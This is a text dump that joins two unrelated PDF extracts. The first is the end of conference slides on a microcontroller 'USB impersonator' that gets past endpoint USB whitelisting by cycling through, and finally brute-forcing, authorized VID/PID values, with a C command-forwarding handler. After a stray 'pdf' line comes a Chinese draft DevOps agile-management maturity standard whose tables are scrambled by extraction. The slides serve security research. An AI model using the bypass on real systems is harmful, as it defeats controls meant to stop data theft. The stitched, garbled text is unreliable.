prototyping (only SMD chips available) – Cheap enough to embed in final device – One format is Arduino clone (Vinco) Chip Choice (continued) Chip Choice (continued) Chip Choice (continued) Chip Choice (continued) Package A - Small & only 4 Pins to Solder* *If you aren’t fond of useful information displays, lights and buttons that is. Package B – Slightly Larger-No Soldering* *See disclaimer on previous slide. Microcontroller-Based Impersonator • Enumerate an attached mass storage drive • When PC attempts to connect drive try to provide an authorized VID/PID • If unsuccessful try another VID/PID till it works Impersonator High-Level Design • One thread associated with slave port to appear as a BOMS device – One thread watches control endpoint and services requests from host • One thread associated with the host port for talking to flash drive – Thread enumerates the device and gets endpoints. Then periodically checks to see if the drive is still there • Main thread bridges slave and host – Non-CBW packets (data packets) are passed through to host port – Whitelisted CBWs are also passed on to host port (if write blocking) • Timer thread – When enumeration starts timer is set – If drive is not connected another VID/PID is tried • Button thread – Reads buttons and adjusts status accordingly The Main Thread • Waits for CBW packets to arrive on Bulk Out endpoint • Calls appropriate handler function based on command – Whitelisted commands: • Forward CBW to drive • Perform Data phase (if any) with drive and forward to PC • Received CSW from device and forward to PC – Non-whitelisted commands (when write blocking): • ACK CBW • Fake Data phase (if any) • Return CSW to PC – Some commands return success because Windows is unhappy with failures Main Loop usbSlaveBoms_readCbw(cbw, slaveBomsCtx); switch (cbw->cb.formated.command) { case BOMS_INQUIRY: handle_inquiry(cbw); break; … } Example Handler void handle_inquiry(boms_cbw_t *cbw) { unsigned char buffer[64]; unsigned short responseSize; boms_csw_t csw; if (forward_cbw_to_device(cbw)) { if (responseSize = receive_data_from_device(&buffer[0], 36)) { forward_data_to_slave(&buffer[0], responseSize); if (receive_csw_from_device(&csw)) { forward_csw_to_slave(&csw); } } } } Timer Thread • When device descriptor requested start 1 second timer • When the enumeration complete reset timer • If timer expires try the next VID/PID from list • At end of list could resort to brute force Complications • Windows & Linux treat drives differently – Windows will try to look for and autoplay media – Windows doesn’t appear to see other than first LUN – Early prototype experience (with writeblocker this is based on) • Worked fine under Linux • Caused BSoD on Windows (exploit?) – Linux seems to pull in a lot of data up front – Windows misbehaves if you correctly fail some commands such as Write Endpoint security on Linux • Can use udev rules to emulate Windows endpoint security software on Linux • Open source provides a great value – Better value – Equally ineffective, but at a better price IT’S DEMO TIME! And now what you really wanted to see… Food for thought • Speed up process by searching registry for previously mounted devices – USBDevView or something similar might be helpful • Use larger device to divine authorized device then use a collection of smaller devices preprogrammed to appropriate VID/PID • Like all devices this may be thwarted – Device operates at full speed only – Endpoint software could use proprietary drivers • Security through obscurity? References • USB Complete: The Developers Guide (4th ed.) by Jan Axelson • USB Mass Storage: Designing and Programming Devices and Embedded Hosts by Jan Axelson • http://www.usb.org • http://www.ftdichip.com for more on VNC2 • http://seagate.com for SCSI references • Embedded USB Design by Example by John Hyde • My 44Con USB Flash Drive Forensics Video http://www.youtube.com/watch?v=CIVGzG0W-DM • Schematics and source code are available – Git hub usb-impersonator – Email [email protected] – Twitter @ppolstra Questions?
pdf
技 术 标 准 研发运营一体化能力成熟度模型 第 2 部分:敏捷开发管理过程 The DevOps capability maturity model Part 2: Agile management process (征求意见稿) 2017 年 11 月 18 日 YDB XXXXX—XXXX I 目 次 目次!........................................................................................................................................!I 前言!.......................................................................................................................................!II 1! 范围!..............................................................................................................................................!1 2! 规范性引用文件!...........................................................................................................................!1 3! 术语!..............................................................................................................................................!1 3.1$ 黄金圈$ golden$circle$.....................................................................................................................$1 3.2$ 用户故事$ user$story$.....................................................................................................................$1 3.3$ 用户故事地图$ user$story$mapping$..............................................................................................$1 3.4$ 影响地图$ impact$mapping$...........................................................................................................$1 3.5$AB 测试$ ab$test$..............................................................................................................................$1 4! 缩略语!..........................................................................................................................................!2 5! 综述!..............................................................................................................................................!2 6! 敏捷需求管理!...............................................................................................................................!2 6.1$ 需求收集$.......................................................................................................................................$2 6.2$ 需求分析$.......................................................................................................................................$4 6.3$ 需求与用例管理$...........................................................................................................................$5 6.4$ 需求验收$.......................................................................................................................................$7 7! 迭代计划管理!...............................................................................................................................!9 7.1$ 需求澄清$.......................................................................................................................................$9 7.2$ 故事与任务排期$.........................................................................................................................$10 7.3$ 计划变更$.....................................................................................................................................$12 8! 敏捷过程管理!.............................................................................................................................!14 8.1$ 迭代管理$.....................................................................................................................................$14 8.2$ 迭代活动$.....................................................................................................................................$15 8.3$ 过程可视化及流动$.....................................................................................................................$17 8.4$ 度量分析$.....................................................................................................................................$18 YDB XXXXX—XXXX II 前 言 研发运营一体化是指在 IT 软件及相关服务的研发及交付过程中,将应用的需求、开发、测试、部 署和运营统一起来,基于整个组织的协作和应用架构的优化,实现敏捷开发、持续交付和应用运营的无 缝集成。帮助企业提升 IT 效能,在保证稳定的同时,快速交付高质量的软件及服务,灵活应对快速变 化的业务需求和市场环境。 本标准是“研发运营一体化能力成熟度模型”系列标准的第 2 部分,该系列标准的结构和名称如 下: § 第 1 部分:总体架构 § 第 2 部分:敏捷开发管理过程 § 第 3 部分:持续交付过程 § 第 4 部分:技术运营过程 § 第 5 部分:应用架构 § 第 6 部分:安全管理 § 第 7 部分:组织结构 本标准按照 GB/T 1.1-2009 给出的规则起草。 本标准由中国通信标准化协会提出并归口。 本标准起草单位:中国移动浙江公司、 DevOps 时代社区、高效运维社区、中国信息通信研究院 本标准主要起草人: 方炜、李海传、廖希密、张乐、景韵、萧田国、栗蔚 1 研发运营一体化能力成熟度模型 第 2 部分:敏捷开发管理过程 1 范围 本标准规定了研发运营一体化的敏捷开发管理过程及相关能力成熟度模型。本标准中的研发运营一 体化包括IT软件及服务的需求、开发、测试、部署和运营五个环节,并实现敏捷开发、持续交付和技术 运营的顺序闭环集成。 本标准适用于企业在实施IT软件开发和服务过程中实现研发运营一体化架构,提升IT效能。 2 规范性引用文件 下列文件中的条款通过本部分的引用而成为本部分的条款。凡是注日期的引用文件,仅所注日期的 版本适用于本文件。凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。 [1] GB/T 32400-2015 信息技术 云计算 概览与词汇 [2] GB/T 32399-2015 信息技术 云计算 参考架构 [3] YD/T2441-2013 互联网数据中心技术及分级分类标准 [4] GB/T 33136-2016 信息技术服务数据中心服务能力成熟度模型 3 术语 下列术语和定义适用于本文件。 3.1 黄金圈 golden circle 全称为黄金思维圈,及先思考Why(目的、理念),再考虑How(方法和措施),最后才是What(现 象和成果)。 3.2 用户故事 user story 从用户的角度来描述用户渴望得到的功能。 3.3 用户故事地图 user story mapping 将用户故事按一定顺序和优先级排列以分析与识别最小可行产品。 3.4 影响地图 impact mapping 是一种用户需求分析的方法,通过Why,Who,How,What逐层分析需求。 3.5 AB 测试 ab test 2 为Web或App界面或流程制作两个(A/B)或多个(A/B/n)版本,在同一时间维度,分别让组成成分 相同(相似)的访客群组随机的访问这些版本,收集各群组的用户体验数据和业务数据,最后分析评估 出最好版本正式采用。 4 缩略语 下列缩略语适用于本文件。 CI Continuous Integration 持续集成 CD Continuous Delivery 持续交付 MVP Most Variable Product 最小可行产品 INVEST Independent, Negotiable,Valuable,Estimable,Small,Testable 独立的,可讨论 的,有价值的,可估算的,小的,可测试的 DEEP Principle Detailed Appropriately,Estimated,Emergent,Prioritized principle 适 当细化的,有估算的,随时产生的,有优先级的原则 UI User Interface 用户界面 5 综述 敏捷开发管理是一种新的软件开发方法,它不同于传统的瀑布式开发,以用户的需求进化为核心, 采用迭代、循序渐进的方法进行软件开发,关注有序迭代、灵活响应以及价值的快速交付,分为需求管 理、计划管理、过程管理三个维度。 敏捷开发管理 敏捷需求管理 迭代计划管理 敏捷过程管理 需求收集 需求澄清与拆解 迭代管理 需求分析 故事与任务排期 迭代活动 需求与用例 计划变更 过程可视化及流动 需求验收 度量分析 图1 敏捷开发管理 6 敏捷需求管理 敏捷需求管理包括需求收集、需求分析、需求与用例、需求验收四部分内容,体现需求管理过程中 的收集、分析、测试、验收四个阶段,敏捷的需求管理的能力主要体现在各个环节中使用敏捷的方法探 寻产品痛点、业务价值、用户体验的能力,适应需求变化的能力,快速验证反馈的能力。 6.1 需求收集 需求收集环节是需求提出方和产品经理之间明确产品需求的阶段,是产品研发运营一体化最初始阶 段,把产品的需求具象化,形成待办事项列表的过程。 需求收集环节包括三个方面工作: 1)明确单个需求点:即以问题驱动为核心,探索问题核心相关事项的过程; 2)梳理需求全貌:应能列出为了落实产品的愿景而需要完成的所有事项,即待办事项列表; 3 3)确定待办事项列表:应包括用户需求所涉及的所有事项,并且作为产品研发路线图。 敏捷开发管理中,需求收集环节根据以上三个方面所能达到的不同程度分为以下5个等级,具体如 下: 级别 主要工作完备性 人员机制 工具能力 备注 单个需求点 需求全貌 需求的管理 1 应能明确需 求问题,制 定明确的功 能点需求要 求 应梳理所有 需求问题, 形成需求说 明书,涵盖 所有的需求 功能要求。 应有模板和规范,并 在形成需求说明书之 后的需求沟通、实施 过程中应采用契约的 方式传递。 无 无 2 应通过协作 方式形成适 当详细的需 求说明。 应有待办事 项列表来管 理需求。 需求应在需求进入迭 代开发之前可以进行 变更和细化。 需求提出方和产 品经理应有明确 的 需 求 收 集 流 程,制定了快速 沟通协作机制, 例如明确规定计 划和需求之间的 流转和协作方法 和规范。 无 3 同上 同上 同上且产品经理对提 出的需求在产品演进 过程中持续细化和演 进,形成产品路线图。 例如,采用精益产品 的方法、影响力地图、 MVP 的方法等敏捷方 法等。 同上 需 求 提 出 方 和 产 品 经 理 应 通 过 需 求 收 集 可 视 化 工具,归集到 待 办 事 项 列 表,由产品经 理统一管理。 4 同上 同上 同上 同上且需求提出 方和产品经理之 间的机制应不限 定时间和角色, 保证需求随时入 和出。例如,建 立运营驱动需求 的体系,在产品 演进过程中,不 断涌现需求,能 不断优化和调整 待 办 列 表 的 顺 序。 同 上 且 有 协 作 型 需 求 沟 通工具,在需 求 提 出 、 收 集、分析、实 施过程中,各 角 色 随 时 沟 通 都 能 对 需 求 内 容 进 行 持 续 演 进 和 细化。 5 同上 同上 同上且建立需求快速 上线、快速反馈流程, 同上且企业采用 扁平化的敏捷团 同 上 且 使 用 企 业 提 供 的 4 用 户 反 馈 能 快 速 收 集。 队组织架构,赋 予团队围绕产品 自组织、自管理 的权力,包括但 不 限 于 产 品 规 划、建设、运营、 人力、绩效、核 算等。例如,敏 捷团队以业务价 值为核心以运营 为驱动的敏捷工 作模式,企业为 团队提供 IT 基 础设施、基础管 理等支持。 统 一 的 需 求 收集工具、协 作 型 需 求 沟 通工具,归集 到 待 办 事 项 列表,由产品 经 理 统 一 管 理,能够保证 需 求 随 时 入 和出,并在需 求 提 出 、 收 集、分析、实 施过程中,随 时 沟 通 都 能 对 需 求 内 容 进 行 持 续 演 进和细化。 6.2 需求分析 需求分析是产品经理将需求细化和拆解成用户故事的过程,主要体现三个方面: 1)明确需求内容和形式:需求分析形成用户故事,用户故事描述用户场景; 2)需求分析协作:用户故事是适度详细并适应变化的,可以在开发过程中对其进行评估不断细化; 3)需求管理方式:用户故事统一管理,并按照业务价值由高到低排定优先级。 敏捷开发管理中,需求分析环节根据以上三个方面所能达到的不同程度分为以下5个等级,具体如 下: 级别 主要工作完备性 人员机制 工具能力 备注 需求内容和形式 需求协作 需求的管理 1 需求分析形成软 件需求规格说明 书,作为需求提 出方和实施方之 间的契约 需求分析人员 在完成需求规 格说明书的编 写后离场,开 发团队按照需 求规格说明书 进行开发。 通过需求规格 说明书统一管 理。 无 无 2 需求分析形成用 户故事,用户故 事规模适中,可 在一个迭代内完 成。 迭代开始前, 由产品经理、 需求提出方开 发团队一起细 化用户故事。 应使用产品待 办列表和迭代 待 办 列 表 管 理。 无 无 3 用 户 故 事 符 合 INVEST 标准:1) 故事是独立完整 在软件过程的 任何阶段,产 品经理、需求 同上且当发生 规模型产品研 发情况,应建 无 无 5 的,2)故事是可 协商并细化的, 3)故事是有业务 价值的,4)故事 是能评估工作量 和优先级的,5) 故 事 是 足 够 小 的,一般在 1-2 日内完成,6)故 事是可测试的。 提出方及团队 成员可对用户 故事进行变更 和细化。 立跨团队的产 品待办列表, 迭代待办列表 4 同上且应具备可 视化的 MVP 的产 品演进路线,管 理用户故事和发 布迭代关系,可 以使用例如:用 户故事地图、影 响力地图等敏捷 方法。 同上且当发生 跨团队的产品 研发情况,应 建 立 史 诗 故 事、特性故事、 用户故事的分 层管理,可跨 团队进行需求 拆解细化。 同上且产品待 办列表应符合 DEEP 原则:1) 适当的详细描 述的,优先级 越高越详细明 确,2)用故事 点进行估算过 大小的,3)随 着产品演进不 断涌现和变化 的,4)优先级 从高到低排序 的。 应建立特性型研 发团队,与产品 经理合作提升需 求分析落地的价 值流动。 有 协 作 型 用 户 故 事 沟 通 工具、产品待 办 列 表 管 理 工具。 5 同上 同上 同上且应建立 需求与企业级 活动关联,把 企业战略和目 标通过愿景、 目标、关键结 果、任务、评 估、反馈等环 节进行分解, 实现企业、团 队、个人三个 层次对齐,达 到需求的业务 价值最大化。 同上且企业采用 扁平化的敏捷团 队组织架构,赋 予团队围绕产品 自组织、自管理 的权力,包括但 不 限 于 产 品 规 划、建设、运营、 人力、绩效、核 算等。敏捷团队 以业务价值为核 心以运营为驱动 的 敏 捷 工 作 模 式,企业为团队 提供 IT 基础设 施、基础管理等 支持。 同 上 且 应 建 立 企 业 级 的 需 求 管 理 工 具。 6.3 需求与用例管理 6 需求与用例管理是指产品经理和开发团队把用户故事的验收标准和测试用例进行关联性,能验收产 品功能是否满足用户故事的要求的过程。主要体现在三个方面: 1)梳理需求用例:编写需求验收标准,形成测试用例的过程; 2)使用需求用例:需求用例指导需求开发,验证产品功能的过程; 3)管理需求用例:建立需求与用例的统一管理库,持续的使用和优化。 敏捷开发管理中的需求与用例管理环节,根据以上三个方面所能达到的不同程度分为以下5个等级, 具体如下: 级别 主要工作完备性 人员机制 工具能力 备注 需求与用例 编写 需求用例验证 需求与用例的管理 1 测试用例与 需求没有关 联,测试用 例在设计结 束代码开发 阶段完成。 无 测试用例在本需求 功能测试完成后没 有做归档重用,在 每次有新需求重新 设计测试用例。 无 无 2 测试用例与 用户故事应 有关联,测 试用例在需 求分析结束 设计阶段完 成。 每次上线前应 把编写的测试 用例全部验证 通过,才可上 线。 需求文档和测试用 例应作为知识沉淀 下来,当设计现有 产品进行功能优化 的需求时,需求文 档和测试用例在现 有的知识上进行调 整优化。 无 无 3 同上 同上 测试用例应作为产 品的软件代码资产 存在,所有的功能 上线都以能测试用 例 验 证 通 过 为 目 标,每次迭代上线 都必须执行产品沉 淀下的所有测试用 例,直到验证和修 复通过才可上线。 无 测 试 用 例 能 通 过 工 具 自 动执行。 4 同上且产品 的需求在最 初始阶段即 转化为测试 用例,细化 需求编写验 收标准过程 同上 同上且需求作为需 求用例库作为产品 的软件代码资产存 在,既保持可读性 又作为用例在产品 迭代更新中一直保 持完整和准确。 无 同上 7 即编写测试 用 例 的 过 程。 同上且所有的功能 上线都以能被可读 的需求用例验证通 过为目标,每次迭 代上线都必须执行 沉淀下的所有的需 求用例,直到验证 和修复通过才可上 线。 当产品进行升级重 构时,产品的需求 用例库无需重建就 能作为升级重构后 的验收标准。 5 同上 需求应具备可 阅读的文档和 测试验证的实 例两种特性, 通过建设企业 级可视化便捷 的平台,建立 从用户故事排 入迭代开发、 开发完成后作 为测试验收测 试、部署到生 产即作为生产 验收测试,整 个过程的全自 动化模式。 同上 企业采用扁平化 的敏捷团队组织 架构,赋予团队 围 绕 产 品 自 组 织、自管理的权 力,包括但不限 于产品规划、建 设、运营、人力、 绩效、核算等。 敏捷团队以业务 价值为核心以运 营为驱动的敏捷 工作模式,企业 为 团 队 提 供 IT 基础设施、基础 管理等支持。 应 建 立 企 业 级 可 视 化 便 捷的平台,管 理需求文档, 且 可 以 通 过 需 求 文 档 能 查 看 产 品 的 全貌,且通过 平台,需求提 出人、最终使 用人、产品经 理、开发运维 人 员 进 行 更 好 的 沟 通 和 协作。 6.4 需求验收 需求验收是指产品经理、需求提出者和最终用户对产品的功能验收,要求能对需求进行快速测试、 快速确认、快速反馈、快速优化。本节的需求验收,仅是指功能验收,非功能测试不在本节的范围内。 需求验收主要体现在以下三个方面: 1)需求验收的频率:指不同角色对需求功能验收的频率,频率越高效果越好; 2)需求验收的范围:指需求验收应尽量具备有业务价值的端到端的验收; 3)需求验收的反馈效率:指需求验收的结果能准确、快速的反馈到开发团队的过程。 敏捷开发管理中,需求验收环节根据以上三个方面所能达到的不同程度分为以下5个等级,具体如 下: 级别 主要工作完备性 人员机制 工具能力 备注 8 需求验收频 率 需求验收范围 需求验收反馈效率 1 在 项 目 末 尾,需求上 线后,一次 性 的 实 施 alpha 测 试、beta 测 试、正式验 收测试。 需求提出者或 最终用户应对 全量功能进行 验收。 有验收测试流程, 能把结果反馈到产 品 经 理 和 开 发 团 队。 无 无 2 在每个敏捷 迭代,应有 验 收 评 审 会。 在验收评审会 上,产品经理 应对团队的迭 代成果进行验 收。 同上 无 无 3 同上且在跨 团 队 产 品 里,有跨团 队的产品验 收会,并要 求在每个迭 代 都 须 召 开。 同上且需求提 出者或最终用 户应能在每个 发布后进行验 收。 对验收测试应有快 速的反馈和优化流 程,能保障反馈能 在进入产品待办列 表,且根据优先级 进 入 迭 代 待 办 列 表。 验收须有产品经 理、需求提出者 和最终用户等参 与。 无 4 同上 同上且在迭代 过程中,应有 通 过 原 型 确 认、AB 测试、 灰度测试等方 法进行验收测 试,提升验收 效果 同上且建立产品级 的业务价值验收反 馈流程,在产品推 向市场后,能在 1-2 个迭代就能快速进 行响应。 同上 应 有 快 速 的 反 馈 和 优 化 流程和工具, 能 收 集 验 收 结果,并且能 快 速 转 化 为 迭代需求。 5 同上 同上 同上且针对反馈的 情况,能通过反馈 发 现 迭 代 中 的 沟 通、设计等各类问 题,并进行持续改 进。 企业采用扁平化 的敏捷团队组织 架构,赋予团队 围 绕 产 品 自 组 织、自管理的权 力,包括但不限 于产品规划、建 设、运营、人力、 绩效、核算等。 敏捷团队以业务 价值为核心以运 营为驱动的敏捷 应 建 立 企 业 级 大 数 据 分 析工具,能抓 取 用 户 行 为 数据,通过大 数据分析,在 用 户 功 能 验 收 和 用 户 体 验 时 作 为 辅 助决策依据, 持 续 优 化 改 进。 9 工作模式,企业 为 团 队 提 供 IT 基础设施、基础 管理等支持。 7 迭代计划管理 迭代计划管理是产品经理和开发团队进行需求的沟通、传递和规划的过程,包括需求澄清和拆解、 故事和任务排期、计划变更三个部分,要求产品经理和团队以业务价值的快速实现为目标,通过面对面 的沟通、制定约定、共同决策等方式,增强需求沟通、传递和规划的有效性。 7.1 需求澄清 需求澄清是产品经理和开发团队沟通和确认需求的过程,包含沟通和明确用户故事的细节(包括但 不限于背景信息、UI和交互设计、测试要点等),确定用户故事的技术实现方案,识别技术风险和依赖, 团队对用户故事进行任务拆分,产品经理和团队对于以上信息达成共识,明确用户故事完成的定义。 需求澄清主要体现在三个方面: 1)需求澄清的时间:指需求澄清发生在研发过程中的合适的阶段,以便适应研发过程中的变化及开 发团队工作的开展。 2)需求澄清内容的完备性:指在需求澄清过程中,是否澄清需求的所有内容。 3)需求澄清协作:指产品经理、开发团队及其他干系人如何协作开展澄清工作。 级别 主要工作完备性 人员机制 工具能力 备注 需求澄清的 时间 内容的完备性 协作 1 在 项 目 初 期,一次性 递交需求规 格说明书 需求规格说明 书内的内容 契约式文档传递 无 无 2 在迭代开始 之前进行需 求澄清 产品经理对于 用户故事的内 容进行讲解, 并解答团队提 出的问题 召开需求澄清会 无 无 3 同上 同上且团队确 定用户故事的 实现方案,识 别技术风险, 识别需求间的 依赖和团队间 的依赖。 团队内的需求澄清 会,团队间的需求 澄清会。 无 无 4 同上 同上且产品经 同上 无 企 业 提 供 的 10 理和团队对于 需求细节和验 收标准达成共 识,将关键信 息进行记录和 确认。 统 一 的 协 作 型 需 求 沟 通 工具,便于团 队 在 澄 清 过 程 中 能 快 速 进 行 关 键 信 息 的 更 新 和 记录。 5 同上 同上 同上 企业采用扁平化 的敏捷团队组织 架构,赋予团队 围 绕 产 品 自 组 织、自管理的权 力,包括但不限 于产品规划、建 设、运营、人力、 绩效、核算等。 敏捷团队以业务 价值为核心以运 营为驱动的敏捷 工作模式,企业 为 团 队 提 供 IT 基础设施、基础 管理等支持。 同上 7.2 故事与任务排期 敏捷开发将开发过程分为多个短冲刺,故事与任务的排期过程就是确定迭代冲刺目标的过程,根据 产品待办列表中用户故事的优先级、依赖关系、故事规模和团队速度,确定迭代待办列表,迭代待办列 表确定之后,团队成员根据优先级认领故事和任务。主要体现在三个方面: 1)排版要素:指进入排版时,信息的完备性,例如产品待办列表中用户故事的优先级、依赖关系、 故事规模和团队速度等。 2)排版容量:指排版容量的大小有据可依,根据实际用户故事规模和团队速度并考虑其他影响因 素后确定。 3)排版管理:指排版活动的组织形式。 级别 主要工作完备性 人员机制 工具能力 备注 排版要素 排版容量 排版管理 1 产品待办清 单,对产品 待办清单内 容的完备性 不做要求 由产品经理和 团队负责人根 据实际需要确 定,无确切依 据 命令式管理,团队 根据产品经理和团 队负责人的要求工 作。 无 无 11 2 产品待办清 单中用户故 事 内 容 完 备、优先级 确定,用户 故事间的依 赖 关 系 确 定。 团队进行用户 故 事 规 模 估 算,具备团队 速度的参考值 有 固 定 的 排 版 活 动,约定为迭代开 始前的固定时间, 排版活动不仅确定 迭代目标,同时确 定迭代待办列表的 优先级,便于团队 在迭代开始后根据 优先级顺序进行开 发 无 无 3 同上 同上且具备用 户故事规模估 算标准 同上且具备多团队 排版活动,多团队 一起排版时,识别 出团队间存在依赖 的用户故事,约定 用 户 故 事 的 优 先 级,对于需要对齐 发布周期的团队, 进行对齐。 无 无 4 同上 同上 同上 无 具 备 工 具 支 撑 在 线 排 版 活动,能自动 识 别 任 务 间 的依赖,支持 团 队 间 依 赖 管理,能实现 任 务 的 自 动 流转等,对于 需 要 进 行 团 队 对 齐 的 情 况,能自动实 现 团 队 的 对 齐。 5 同上 同上 同上 企业采用扁平化 的敏捷团队组织 架构,赋予团队 围 绕 产 品 自 组 织、自管理的权 力,包括但不限 于产品规划、建 设、运营、人力、 绩效、核算等。 敏捷团队以业务 同上 12 价值为核心以运 营为驱动的敏捷 工作模式,企业 为 团 队 提 供 IT 基础设施、基础 管理等支持。 7.3 计划变更 计划变更是指在迭代过程中,迭代目标发生变化,“响应变化胜过遵循计划”是敏捷的核心价值观 之一,但进入迭代的内容发生变化会影响研发团队的工作效率,所以需要采取措施尽量减少计划变更的 负面影响。主要体现在三个方面: 1)变更决策:是指决定变更和接受变更的决策方式; 2)应对变更:是指接受变更后,是否具备措施减少变更的影响; 3)减少变更:是指是否具备措施减少变更的发生。 级别 主要工作完备性 人员机制 工具能力 备注 变更决策 应对变更 减少变更 1 产品经理提 出 变 更 请 求,变更委 员会(通常 为一个由需 求、开发等 团队负责人 组成的虚拟 组织)进行 审批,决定 是否接受变 更。 无 无 无 无 2 产品经理和 团队约定计 划变更的流 程,产品经 理提出变更 请求后,与 团队沟通, 共同决定是 否进行计划 变更 发生需求变更 时,团队成员 决定置换的用 户故事。 无 无 无 3 同上 团队具备应对 措施,减少变 无 无 无 13 更 带 来 的 影 响,例如:用 户 故 事 拆 分 时,充分考虑 其独立性,减 少需求变更影 响 的 团 队 范 围;团队在开 发过程中,按 照用户故事优 先 级 进 行 开 发;需求置换 时,以小换大, 即换入的用户 故事规模原则 上应小于换出 的故事规模; 优先置换出低 优 先 级 的 需 求;不能置换 出半成品。 4 同上 同上 在产品规划阶段, 具备减少变更带来 影响的措施,例如: 产品待办列表的梳 理应该贯穿于产品 生命周期的始终, 始终确保高优先级 的 需 求 优 先 被 处 理,从而减少进入 迭代以后的变更次 数;根据经验,预 留开发资源;具备 较早的识别变更的 能力,确保变更更 早的发生。 无 无 5 同上 同上 敏捷团队围绕公司 战略工作,在产品 规划、研发、发布 各层面具备灵活反 应的能力,可支撑 业务价值驱动下的 灵活的计划变更, 企业采用扁平化 的敏捷团队组织 架构,赋予团队 围 绕 产 品 自 组 织、自管理的权 力,包括但不限 于产品规划、建 无 14 建立应对风险的能 力。 设、运营、人力、 绩效、核算等。 敏捷团队以业务 价值为核心以运 营为驱动的敏捷 工作模式,企业 为 团 队 提 供 IT 基础设施、基础 管理等支持。 8 敏捷过程管理 敏捷过程管理包括迭代管理、迭代活动、过程可视化及流动、度量分析四个部分,主要体现开发团 队的研发过程的敏捷性,包括开发团队的节奏感、仪式感、透明化、持续改进等方面。 8.1 迭代管理 迭代管理,即贯穿于产品研发过程中以保持恒定的时长为周期,每个周期都遵从相同的框架过程, 并且交付潜在的可发布最终产品增量。迭代管理主要体现在以下三个方面: 1)敏捷迭代周期:指团队能约定迭代时长、交付时长; 2)迭代协作机制:指团队内或团队间的工作进行相互配合,使得产品开发能快速交付; 3)迭代流程改进:指团队能通过不断检视迭代过程,对发现的问题能持续改进。 敏捷开发管理中,迭代管理根据以上三个方面所能达到的不同程度分为以下5个等级,具体如下: 级别 主要工作完备性 人员机制 工具能力 备注 迭代时间周期 迭代协作机制 迭代流程改进 1 产 品 分 多 次 迭 代开发,每次迭 代 中 按 照 需 求 分析、设计、开 发、上线等线性 过程进行管控, 完 成 产 品 部 分 功能 无 在下次产品完整 研发过程进行改 进调整 无 无 2 团 队 约 定 任 务 迭代周期,约定 交付周期 团 队 能 定 义 清 晰的活动时间、 场 所 、 参 加 人 员;定义各类角 色,明确分工, 约定协作模式; 约 定 环 节 间 交 迭代过程问题能 以用户故事形式 进行改进 无 无 15 付 物 、 流 转 规 则。 3 团 队 内 约 定 同 上,团队间能对 齐迭代计划、时 间、产品集成发 布时间 团 队 内 约 定 同 上,团队间建立 协同工作机制, 如 通 过 团 队 间 的 敏 捷 改 进 会 议来推进协作。 同上 无 无 4 同上 同上 同上 无 能在团队间工 作对齐、角色 管理、角色工 作安排、团队 协作、流程数 据可视化等方 面提供工具支 持。工具平台 具备提供迭代 过程的相关数 据、进行分析 的能力。 5 同上 同上 同上 企业采用扁平化 的敏捷团队组织 架构,赋予团队围 绕产品自组织、自 管理的权力,包括 但不限于产品规 划、建设、运营、 人力、绩效、核算 等。敏捷团队以业 务价值为核心以 运营为驱动的敏 捷工作模式,企业 为团队提供 IT 基 础设施、基础管理 等支持。 迭代计划与企 业 战 略 相 结 合,建立企业 级敏捷支撑平 台,提供从战 略规划、产品 规划实施、产 品交付整个价 值链可视化展 示、数据分析 的能力。 8.2 迭代活动 敏捷迭代活动,是指从产品规划、研发过程、产品交付、持续改进等维度来定义的产品迭代研发中 的一系列过程,目的在于推进敏捷迭代团队的持续改进和产品的快速交付。迭代活动主要体现在以下三 个方面: 1)迭代活动约定:是指团队能能在约定的时间、相对固定的场所举行相关活动; 2)迭代活动时间约定:是指团队能按照约定的时间长短进行各种会议; 16 3)迭代活动范围:是指团队能在各类敏捷会议中遵守约定的会议内容。 敏捷开发管理中,迭代活动根据以上三个方面所能达到的不同程度分为以下5个等级,具体如下: 级别 主要工作完备性 人员机制 工具能力 备注 迭代活动约定 迭代活动时间 约定 迭代活动范围 1 产 品 分 多 次 迭 代开发,每次迭 代 中 按 照 需 求 分析、设计、开 发、上线等线性 过程进行管控, 按 照 契 约 方 式 进 行 各 类 评 审 工作 时 间 根 据 会 议 内容确定,无约 定长短 不同阶段的输出 物评审 根据内容确定相 关参与人员 无 2 团 队 能 在 迭 代 内 按 照 约 定 时 间 点 分 别 完 成 产品计划会议、 迭代计划会议、 每日站立会、迭 代 交 付 评 审 会 议、改进回顾会 议。 各 种 会 议 能 严 格 按 照 约 定 时 间盒内进行 按照各类会议的 要求,控制会议 内容 产品经理、团队共 同参与 无 3 团 队 内 工 作 方 式同上,跨团队 的 敏 捷 产 品 开 发中,多团队间 建 立 更 高 级 别 的迭代,具有跨 团 队 的 产 品 代 办列表。团队间 定 期 举 行 跨 团 的计划会、评审 会 议 、 回 顾 会 议。能不定期召 开 团 结 间 协 调 推进会议。能对 跨 团 队 的 协 同 问 题 跟 进 落 地 实施。 能 对 跨 团 队 的 产 品 按 照 约 定 时间、节奏进行 验收评审会议。 同上 具备跨团队的敏 捷推进协调组织, 由产品经理、团队 成员、跨团队的约 定参与人员、及其 它干系人 无 4 在 上 一 级 的 基 同上 同上 同上 无 17 础上,在约定周 期 内 开 展 跨 团 队 的 敏 捷 推 进 会议 5 在 上 一 级 的 基 础上,建立企业 级 敏 捷 活 动 推 进组织,从组织 文 化 、 产 品 规 划、人力成本等 多 个 方 面 进 行 协 同 推 进 敏 捷 持续改进 同上 同上 企业采用扁平化 的敏捷团队组织 架构,赋予团队围 绕产品自组织、自 管理的权力,包括 但不限于产品规 划、建设、运营、 人力、绩效、核算 等。敏捷团队以业 务价值为核心以 运营为驱动的敏 捷工作模式,企业 为团队提供 IT 基 础设施、基础管理 等支持 无 8.3 过程可视化及流动 通过对敏捷迭代过程的可视化展示,实时反映用户故事的迭代进展,体现产品从需求、研发、交付 端到端的价值流动,通过在制品数量等工具实现价值流动的拉动式管理。过程可视化及流动主要体现在 以下三个方面: 1)过程可视化:通过各种数据记录,反馈敏捷开发过程质量; 2)过程价值流动:通过各种工具体现敏捷过程的业务交付价值流动过程; 3)迭代过程改进:对数据反映的各种问题,不断改进迭代过程。 敏捷开发管理中,过程可视化及流动根据以上三个方面所能达到的不同程度分为以下5个等级,具 体如下: 级别 主要工作完备性 人员机制 工具能力 备注 过程可视化 过程价值流动 迭代过程改进 1 注重结果数据, 过 程 数 据 跟 踪 较弱 无 无 无 无 2 团 队 级 迭 代 内 的 过 程 数 据 进 行跟踪记录,并 进 行 可 视 化 管 理 无 无 无 无 3 满 足 迭 代 数 据 无 无 无 通过可视化的 18 可 视 化 的 基 础 上,实现端到端 的可视化管理 管理工具,对 产 品 需 求 收 集,分析,产 品 故 事 优 先 级,迭代用户 故事优先级等 内 容 进 行 管 理,实时反馈 需求管理的进 展 